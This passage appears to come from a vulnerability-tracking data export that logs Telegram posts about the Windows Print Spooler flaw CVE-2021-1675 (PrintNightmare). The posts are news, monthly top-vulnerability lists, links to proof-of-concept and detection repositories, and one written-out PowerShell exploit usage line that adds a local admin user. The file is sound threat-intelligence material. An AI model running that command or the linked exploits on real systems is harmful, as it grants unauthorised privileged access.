Exposure\nhttp://feedproxy.google.com/~r/securityweek/~3/IsQMasJIps8/windows-admins-scrambling-contain-printnightmare-flaw-exposure\n\nWindows network administrators are scrambling to contain the fallout from the release of proof-of-concept code for a nasty Windows Print Spooler vulnerability (https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675) that exposes Windows servers to remote code execution attacks.\nread more (https://www.securityweek.com/windows-admins-scrambling-contain-printnightmare-flaw-exposure)", "creation_timestamp": "2021-06-30T16:38:46.000000Z"}, {"uuid": "a3d9f1ec-55d3-4fe8-bcae-2b1f2011d78a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/information_security_channel/44635", "content": "Did Microsoft Botch the PrintNightmare Patch?\nhttp://feedproxy.google.com/~r/securityweek/~3/PqEJjMi6APQ/did-microsoft-botch-printnightmare-patch\n\nJust days after shipping an emergency Windows update to cover a dangerous code execution flaw (CVE-2021-1675 (https://www.securityweek.com/windows-admins-scrambling-contain-printnightmare-flaw-exposure)) in the Print Spooler service, Microsoft is investigating a new set of claims that its so-called \u2018PrintNightmare\u2019 patch has not properly fixed the underlying vulnerability.\nread more (https://www.securityweek.com/did-microsoft-botch-printnightmare-patch)", "creation_timestamp": "2021-07-09T17:30:01.000000Z"}, {"uuid": "f3a5595e-fea1-4638-9e99-776e8502e615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/1327", "content": "\ud83d\udd25 Researchers publish a proof-of-concept exploit for a critical vulnerability (CVE-2021-1675) affecting Microsoft Windows operating systems.\n\nDetails \u2014 https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html", "creation_timestamp": "2021-06-30T13:36:01.000000Z"}, {"uuid": "6c0b45a6-85e2-41cb-8760-e8988e0798c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/thehackernews/1333", "content": "\ud83d\udd25 WATCH OUT! Microsoft warns of critical PrintNightmare RCE vulnerability (CVE-2021-34527) being exploited in the wild.\n\nDetails: https://thehackernews.com/2021/07/microsoft-warns-of-critical.html\n\nIt is separate from the Windows Print Spooler issue (CVE-2021-1675) Microsoft patched recently.", "creation_timestamp": "2021-07-02T07:44:31.000000Z"}, {"uuid": "ae68812d-dcb0-4035-a185-3af520d8c05b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/xakep_ru/12002", "content": "HTB Driver. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c PrintNightmare \u0438 \u0434\u0435\u043b\u0430\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 SCF #htb #driver #printnightmare #scf #\u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u0430\u043c\n\n\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u044b \u0441 \u0442\u043e\u0431\u043e\u0439 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PrintNightmare, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 Windows \u0447\u0435\u0440\u0435\u0437 \u0431\u0430\u0433 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0435\u0447\u0430\u0442\u0438 (CVE-2021-1675), \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b SCF, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c NTLM-\u0445\u0435\u0448 \u043f\u0430\u0440\u043e\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 Driver \u0441 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 Hack The Box.\n\nhttps://xakep.ru/2022/02/28/htb-driver/", "creation_timestamp": "2022-02-28T16:00:54.000000Z"}, {"uuid": "0afd1911-59e1-4e63-83fc-8f47a027b546", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/BlueRedTeam/1276", "content": "CVE-2021\n\nCVE-2021-1675 LPE PoC in Nim (PrintNightmare Local Privilege Escalation)\n\nhttps://github.com/fumamatar/NimNightmare-\n\n@BlueRedTeam", "creation_timestamp": "2022-08-19T09:32:59.000000Z"}, {"uuid": "7657a766-8568-4d0e-aa98-7acaeaae539e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/BlueRedTeam/1277", "content": "CVE-2021\nCVE-2021-1675 LPE PoC in Nim (PrintNightmare Local Privilege Escalation)\n\nhttps://github.com/fumamatar/NimNightmare\n\n@BlueRedTeam", "creation_timestamp": "2021-12-05T16:33:42.000000Z"}, {"uuid": "6c07bfde-957d-4b28-843c-6530b87a793d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/SecLabNews/10485", "content": "\u0420\u044f\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0430\u0442\u0447, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Microsoft \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-1675, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u043f\u0430\u0442\u0447, \u0432\u0441\u0435 \u0435\u0449\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Microsoft, \u043f\u043e\u0445\u043e\u0436\u0435, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u043e\u0434 \u043e\u0434\u043d\u0438\u043c \u0438 \u0442\u0435\u043c \u0436\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE.\n\n \n\nhttps://www.securitylab.ru/news/521822.php", "creation_timestamp": "2021-07-01T16:46:39.000000Z"}, {"uuid": "2984438b-cd52-40b0-9fe9-b2c6554d2852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/SecLabNews/10487", "content": "\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0430\u0448\u0443\u043c\u0435\u0432\u0448\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a PrintNightmare, \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-1675, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0442\u0435\u0445\u043d\u043e\u0433\u0438\u0433\u0430\u043d\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435, \u2013 \u044d\u0442\u043e \u0434\u0432\u0435 \u0440\u0430\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 PrintNightmare \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n \n\nhttps://www.securitylab.ru/news/521857.php", "creation_timestamp": "2021-07-02T12:15:03.000000Z"}, {"uuid": "7170eada-07bb-44a4-858c-b67dcccbf122", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3750", "content": "#Blue_Team_Techniques\n1. CVE-2021-1675/CVE-2021-34527 Detection Info\nhttps://github.com/LaresLLC/CVE-2021-1675\n]-> Restricting the ACLs:\nhttps://blog.truesec.com/2021/06/30/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available\n]-> Mitigation:\nhttps://doublepulsar.com/zero-day-for-every-supported-windows-os-version-in-the-wild-printnightmare-b3fdb82f840c\n\n2. Fail2exploit: a security audit of Fail2ban\nhttps://securitylab.github.com/research/Fail2exploit", "creation_timestamp": "2021-07-03T18:33:01.000000Z"}, {"uuid": "e9988cbd-0f3e-4cd4-b5cf-a42249d0a7dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3732", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (June 1-30)\nCVE-2021-1675 - Windows Print Spooler EoP\nhttps://t.me/cybersecuritytechnologies/3723\nCVE-2021-21985 - vSphere Client RCE\nhttps://t.me/cybersecuritytechnologies/3493\nCVE-2021-3560 - Privilege escalation with polkit\nhttps://t.me/cybersecuritytechnologies/3587\nCVE-2021-28476 - Hyper-V RCE in vmswitch.sys\nhttps://t.me/cybersecuritytechnologies/3514\nCVE-2020-3580 - XSS in Cisco ASA\nhttps://www.helpnetsecurity.com/2021/06/29/cve-2020-3580-exploit\nCVE-2021-31955/31956 - Windows NTFS EoP/Kernel Information Disclosure\nhttps://github.com/mavillon1/CVE-2021-31955-POC\nhttps://t.me/cybersecuritytechnologies/3705\nCVE-2021-33739 - MS DWM Core Library EoP\nhttps://t.me/cybersecuritytechnologies/3581\nCVE-2021-27850 - Apache Tapestry RCE\nhttps://t.me/cybersecuritytechnologies/3694\nCVE-2020-36289 - Atlassian Jira Unauth User Enum\nhttps://mobile.twitter.com/i/web/status/1402644004781633540", "creation_timestamp": "2021-07-01T11:03:01.000000Z"}, {"uuid": "f7cf42a4-d360-4b8e-ab21-945550a7ed81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3723", "content": "#exploit\nCVE-2021-35523:\nLPE in Securepoint SSL VPN Client 2.0.3\nhttps://bogner.sh/2021/06/local-privilege-escalation-in-securepoint-ssl-vpn-client-2-0-30\n\nCVE-2021-1675:\n\"PrintNightmare\" - RCE in Windows Spooler Service\nhttps://github.com/afwu/PrintNightmare\n]-> Impacket implementation:\nhttps://github.com/cube0x0/CVE-2021-1675", "creation_timestamp": "2024-02-15T13:46:58.000000Z"}, {"uuid": "470e8569-efc4-4026-a24c-deca20b3a8c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4016", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (July 1-31)\nCVE-2021-1675 - Windows Print Spooler EoP\nhttps://t.me/cybersecuritytechnologies/3723\nCVE-2021-34527 - Windows Print Spooler RCE\nhttps://t.me/cybersecuritytechnologies/3750\nCVE-2021-36934 - Windows SeriousSAM EoP\nhttps://t.me/cybersecuritytechnologies/3891\nCVE-2021-33909 - Sequoia - A LPE Vulnerability in Linux\u2019s Filesystem Layer\nhttps://t.me/cybersecuritytechnologies/3884\nCVE-2021-22555 - Heap out-of-bounds write vuln in Linux Netfilter\nhttps://t.me/cybersecuritytechnologies/3841\nCVE-2021-30807 - OOBR in AppleCLCD/IOMobileFrameBuffer\nhttps://t.me/cybersecuritytechnologies/3930\nCVE-2020-27020 - Vulnerability in Kaspersky Password Manager\nhttps://donjon.ledger.com/kaspersky-password-manager\nCVE-2021-35211 - SolarWinds Serv-U Managed File Transfer Vuln\nhttps://t.me/CyberSecurityTechnologies/4714\nCVE-2021-34481 - Windows Print Spooler EoP\nhttps://mobile.twitter.com/gentilkiwi/status/1416429860566847490\nCVE-2021-3438 - Printer\u2019s Drivers Vulnerability\nhttps://t.me/cybersecuritytechnologies/3969", "creation_timestamp": "2024-01-18T03:22:33.000000Z"}, {"uuid": "f9c95687-547e-4223-8d5d-1461d4953b83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4203", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (Aug 1-31)\nCVE-2021-1675 - Print Spooler EoP\nhttps://t.me/cybersecuritytechnologies/3723\nCVE-2021-31956 - Win NTFS EoP\nhttps://t.me/cybersecuritytechnologies/4110\nCVE-2021-36958 - Print Spooler RCE\nhttps://mobile.twitter.com/gentilkiwi/status/1416429860566847490?s=20\nCVE-2021-39137 - A consensus-vuln in go-eth\nCVE-2021-22937 - Pulse ConnSecure RCE\nhttps://t.me/cybersecuritytechnologies/4044\nCVE-2021-34473 - Pre-auth Path Confusion\nhttps://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\nCVE-2021-21225 - Vuln in V8's Array.prototype.concat\nhttps://t.me/cybersecuritytechnologies/4090\nCVE-2021-20090 - Path traversal in Buffalo routers\nhttps://t.me/cybersecuritytechnologies/3986\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nhttps://t.me/cybersecuritytechnologies/4202\nCVE-2021-3711 - Vulns in OpenSSL\nhttps://nakedsecurity.sophos.com/2021/08/27/big-bad-decryption-bug-in-openssl-but-no-cause-for-alarm", "creation_timestamp": "2021-09-02T11:05:07.000000Z"}, {"uuid": "29459e32-aaa8-45d3-a92b-6452937bc17b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/dc7342/40941", "content": "https://github.com/cube0x0/CVE-2021-1675", "creation_timestamp": "2021-06-30T15:47:13.000000Z"}, {"uuid": "acae1110-2ff3-4429-9d6e-811996aad419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/LearnExploit/2538", "content": "\u06a9\u0634\u0641 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f \u0648 \u062e\u0637\u0631\u0646\u0627\u06a9\u06cc \u0628\u0647 \u0646\u0627\u0645 PrintNightmare \u06a9\u0647 \u0628\u0647 \u0646\u0638\u0631 \u062f\u0631 \u062d\u0627\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06af\u0633\u062a\u0631\u062f\u0647 \u0646\u06cc\u0632 \u0645\u06cc \u0628\u0627\u0634\u062f . \n\n\u062a\u06cc\u0645 \u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u06cc\u06a9 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062e\u0637\u0631\u0646\u0627\u06a9 \u0628\u0647 \u0646\u0627\u0645 PrintNightmare \u0631\u0627 \u0631\u0648\u06cc Windows \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647 \u0627\u0646\u062f \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u06a9\u0646\u062a\u0631\u0644 \u062f\u0627\u0645\u06cc\u0646 \u0631\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc \u062f\u0647\u062f . \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0646\u0648\u0632 \u062a\u0648\u0633\u0637 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a Patch \u0646\u0634\u062f\u0647 \u0627\u0645\u0627 \u0634\u0631\u06a9\u062a \u0627\u0645\u0646\u06cc\u062a\u06cc \u0686\u06cc\u0646\u06cc QiAnXin \u06cc\u06a9 \u0641\u06cc\u0644\u0645 \u062f\u0645\u0648 \u0627\u0632 Exploit \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0648 \u0647\u0645 \u0632\u0645\u0627\u0646 \u06af\u0632\u0627\u0631\u0634 \u0647\u0627\u06cc\u06cc \u0645\u0628\u0646\u06cc \u0628\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06af\u0631\u0648\u0647 \u0647\u0627\u06cc \u0647\u06a9\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a . \n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc ( CVE-2021-1675 ) \u0628\u0633\u06cc\u0627\u0631 \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0648\u062f\u0647 \u0648 \u0644\u0627\u0632\u0645 \u0628\u0647 \u0627\u0642\u062f\u0627\u0645 \u0641\u0648\u0631\u06cc Admin \u0647\u0627\u06cc \u0634\u0628\u06a9\u0647 \u062f\u0627\u0631\u062f . \u0627\u0632 \u0622\u0646\u062c\u0627 \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 Windows ( Print Spooler ) \u0645\u06cc \u0628\u0627\u0634\u062f \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u062a\u0627 \u0632\u0645\u0627\u0646 \u0627\u0631\u0627\u0626\u0647 Patch \u0627\u0632 \u0637\u0631\u0641 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0641\u0648\u0631\u0627 \u0633\u0631\u0648\u06cc\u0633 Spooler \u0628\u0647 \u0648\u06cc\u0698\u0647 \u0631\u0648\u06cc Domain Controller \u0647\u0627 \u0645\u062a\u0648\u0642\u0641 \u0648 Disable \u0634\u0648\u062f . \u0633\u0627\u06cc\u0631 \u0627\u0642\u062f\u0627\u0645\u0627\u062a \u0631\u0648 \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u062f\u0631 \u0627\u06cc\u0646 \u0644\u06cc\u0646\u06a9 \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u06cc\u062f . \n\n\u0645\u0648\u0633\u0633\u0647 \u0645\u0639\u062a\u0628\u0631 NIST \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0631\u0648 \u0628\u0627 \u062f\u0631\u062c\u0647 High \u062a\u0627\u06cc\u06cc\u062f \u06a9\u0631\u062f\u0647 . \n\u062c\u0647\u062a \u0627\u06cc\u0646\u06a9\u0647 \u0622\u06cc\u0627 \u0633\u0631\u0648\u06cc\u0633 \u0634\u0645\u0627 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0647\u0633\u062a \u0648 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0634\u062f\u0647 \u06cc\u0627 \u0646\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u06a9\u0647 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0647\u0633\u062a \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f : \n\nGithub \n\n\u0647\u0645\u0686\u0646\u06cc\u0646 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0627\u06cc\u0646 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0628\u0647 \u0635\u0648\u0631\u062a \u0639\u0645\u0648\u0645\u06cc \u067e\u062e\u0634 \u0634\u062f\u0647 \u0648 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0647 :\n\nExploit \n\n#PrintNightmare #0day \n\niliyahr\n\u2014\u2014\u2014\u2014\u2014\u2014\n0Day.Today\n@LearnExploit\n@Tech_Army", "creation_timestamp": "2021-07-01T13:32:25.000000Z"}, {"uuid": "adb194cf-7c6e-4e9e-9ca5-1cbe3f970f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/reverseame/1665", "content": "Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) https://github.com/ollypwn/PrintNightmare", "creation_timestamp": "2026-08-03T05:00:03.530648Z"}, {"uuid": "1419791f-3f8b-43ee-972a-21fead778ce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/club31337/484", "content": "https://github.com/cube0x0/CVE-2021-1675", "creation_timestamp": "2024-11-09T01:33:49.000000Z"}, {"uuid": "24090742-4b10-47a5-901c-9472f0ae817d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/club31337/485", "content": "PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service.\n\n#RCE #Windows #CVE #privesc\n\nhttps://github.com/afwu/PrintNightmare", "creation_timestamp": "2024-11-09T01:33:49.000000Z"}, {"uuid": "8ba0ceb5-cf48-43b1-897b-06d057e50bc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1423", "content": "Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) explained https://thalpius.com/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained/", "creation_timestamp": "2026-08-03T08:00:04.377908Z"}, {"uuid": "0ddf252c-cc71-4228-baac-05eec5983592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/bhhub/516", "content": "#BugBountyTips of the Day\nCVE-2021-1675 - PrintNightmare LPE (PowerShell) - Usage: Import-Module .\\cve-2021-1675.ps1 Invoke-Nightmare -DriverName \"HP\" -NewUser \"0day\" -NewPassword \"LulSpool\"  - Repo:  https://t.co/hb8DhzS0jI - Creators: @calebjstewart @_johnhammond  - #CyberSecurity #CTF #bugbountytips  https://t.co/QVfNPMnRmS\n---\n(ReconSpider - Advanced Open Source Intelligence (OSINT) Framework For Scanning IP Addresses, Emails, Websites, Organizations) -  https://t.co/H45Xz60gep #infosec #netsec #pentest #cybersecurity #bugbounty  https://t.co/3fZtbimJjx\n---\n#BugBounty I just earned $3133.70 on @GoogleVRP; bug: P2 internal googlers development dashboard exposed + arbitrary file read as root, the interesting thing about this it's that  it was outside of Google internal network  #infosec  https://t.co/m2fx9ohV8l\n---\nI just published My Methodology In Recon And Find Bugs & My Methodology In Hunting Using Phone  https://t.co/Skzz8BsFBr   special thanks for @XHackerx007 @waseyuddin @Masonhck3571 @aditi_singghh  @snewbill @Bugcrowd @lot of friends here  #BugBounty #bugbountytip #bugbountytips\n---\nHey Hackers, do you know how to exploit ReDoS or RegExDos? It is serious and yet easily exploitable.  Download from here :  https://t.co/kcFSH2jSxp  #infosec #appsec #security #bugbountytips #bugbounty #Hackers #learn365 #zine #webappsec #cybersecurity  https://t.co/d9zwE8bAAI\n---\nYour Full Map To Github Recon And Leaks Exposure  https://t.co/voUww9AwKL  #bugbountytips\n---\nI'm happy to announce that I have passed 10,000 reputations on @Hacker0x01! #BugBounty  https://t.co/oQBDzDqVhH\n---\nExploiting Grafana!  A mindmap explaining some common bug in grafana and how to exploit it   Repository:  https://t.co/lIj6wucZh0 MindMap:  https://t.co/T2H1cz3bmX  You can use the @pdnuclei tool to check some vulnerabilities in grafana  #bugbountytips #bugbounty #grafana", "creation_timestamp": "2021-08-20T13:37:04.000000Z"}, {"uuid": "cf010056-1db1-420f-b668-f71477ee2778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1335", "content": "More details on CVE-2021-1675 >> https://twitter.com/gentilkiwi/status/1410621282446495749?s=20", "creation_timestamp": "2026-08-04T00:00:43.709715Z"}, {"uuid": "55436bfb-d967-4df2-8b10-62d55cade9c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1333", "content": "From Lares Labs: Detection & Remediation Information for CVE-2021-1675 & CVE-2021-34527 https://github.com/LaresLLC/CVE-2021-1675", "creation_timestamp": 